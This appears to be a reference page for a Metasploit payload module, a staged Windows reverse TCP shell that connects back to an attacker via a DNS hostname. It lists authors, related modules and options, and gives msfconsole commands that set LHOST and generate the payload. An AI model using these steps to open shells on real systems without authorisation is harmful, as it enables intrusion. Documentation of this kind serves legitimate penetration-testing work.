Windows Command Shell, Reverse TCP Stager (DNS)
Connect back to the attacker, Spawn a piped command shell (staged)
Rank
- Normal
Authors
- spoonm < spoonm [at] no$email.com >
- sf < stephen_fewer [at] harmonysecurity.com >
- hdm < hdm [at] metasploit.com >
- skape < mmiller [at] hick.org >
Similar Modules
- payload/windows/shell/bind_ipv6_tcp
- payload/windows/shell/bind_nonx_tcp
- payload/windows/shell/bind_tcp
- payload/windows/shell/find_tag
- payload/windows/shell/reverse_http
- payload/windows/shell/reverse_ipv6_http
- payload/windows/shell/reverse_ipv6_tcp
- payload/windows/shell/reverse_nonx_tcp
- payload/windows/shell/reverse_ord_tcp
- payload/windows/shell/reverse_tcp
Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use payload/windows/shell/reverse_tcp_dns
msf payload(reverse_tcp_dns) > set LHOST [MY IP ADDRESS]
msf payload(reverse_tcp_dns) > generate
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use payload/windows/shell/reverse_tcp_dns
msf payload(reverse_tcp_dns) > set LHOST [MY IP ADDRESS]
msf payload(reverse_tcp_dns) > generate
Module Options
| EXITFUNC | Exit technique: none, thread, process, seh (default: process) |
| LHOST | The DNS hostname to connect back to |
| LPORT | The listen port (default: 4444) |
| AutoRunScript | A script to run automatically on session creation. |
| InitialAutoRunScript | An initial script to run on session creation (before AutoRunScript) |
| ReverseConnectRetries | The number of connection attempts to try before exiting the process |
| ReverseListenerBindAddress | The specific IP address to bind to on the local system |
| ReverseListenerComm | The specific communication channel to use for this listener |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
